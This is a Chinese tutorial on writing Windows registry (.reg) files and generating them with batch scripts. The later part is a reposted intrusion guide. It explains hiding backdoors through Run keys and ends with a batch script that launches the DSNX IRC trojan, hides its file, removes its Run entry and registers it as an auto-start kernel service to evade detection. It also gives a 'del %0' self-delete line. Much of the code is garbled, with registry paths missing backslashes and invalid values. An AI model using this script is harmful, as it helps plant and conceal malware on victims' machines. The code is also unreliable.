电脑技术学习

如何制作注册表文件

dn001

REGEDIT4

[路径] (注意用大小写)
“键名=“键值 (针对字符串型键值)
“键名=hex:键值 (针对二进制型键值)
“键名=dword:键值 (针对DWORD键值)

  以上是注册表文件标准文件格式,其中小括号内是注释,其他包括方括号、引号、等号、分号都是必须有的。在编辑时要注意,不要漏掉什么!否则不好使可别说我没告诉你! *-*
为了能方便初学者学习,我在给出一个具体的例子:

REGEDIT4

[HKEY_CURRENT_CONFIGDisplayFonts]
"二进制"=hex:21,00
"dword"=dword:00000001
"字符串"="任意串值"

  如果还有些问题不懂,建议你先去导出一个,用记事本打开,再把你自己写的打开。两个进行比较,看看空格、标点、大小写、有没有出入?(一定要一模一样,他要求很严格的)比较完之后再试一下。是不是好使了??? :)

  还有一个问题值得注意。

  就是当你用记事本编辑玩保存时存的是tao.reg(假设文件名是tao)文件。但是你用的是记事本,当你保存时自动加上.txt的扩展名。这样的话,虽然你看到的是tao.reg,但实际上,他真正的全名为tao.reg.txt。也就是说你生成的不是注册表文件,而是个文本文件。当然导不进注册表了,更谈不上起作用了。

改正方法:

  先在打开的文件夹中选中“查看菜单,打开“文件夹选项,选择“查看标签。下面有一项是“隐藏以知文件类型的扩展名,取消前面的钩,这之后,你在给你的文件重命名。这回就是真正的注册表文件了。

  知道了这些,你应该是完全可以自己动手些注册表文件了。只要知道键值、含义。你就放心大胆的改吧!相信你一定会成功的!


2000/XP/2003的注册表文件只要将第一行
的REGEDIT4改为Windows Registry Editor Version 5.00即可


2.

首先你得明白什么样的文件可以导入注册表
一般情况下第一行是
REGEDIT4
或是
Windows Registry Editor Version 5.00
第二行空掉
以下开始方括号中些下注册表路径
下行写键和键值
句提的我引一篇文章给你看
当初我也是这样学习的


你提到删除自己
这样的话可以使用语句
del %0
就好了
文章在下边,流传相当广的:


如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作,常见的是创建、修改、删除。

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]"Invader"="Ex4rch"

"Door"=C:WINNTsystem32door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about这三个项目

Invader的类型是“String Value

door的类型是“REG SZ Value

Autodos的类型是“DWORD Value
2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:WINNTsystem32door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]

@REM 这样不是更安全^_^.

标签: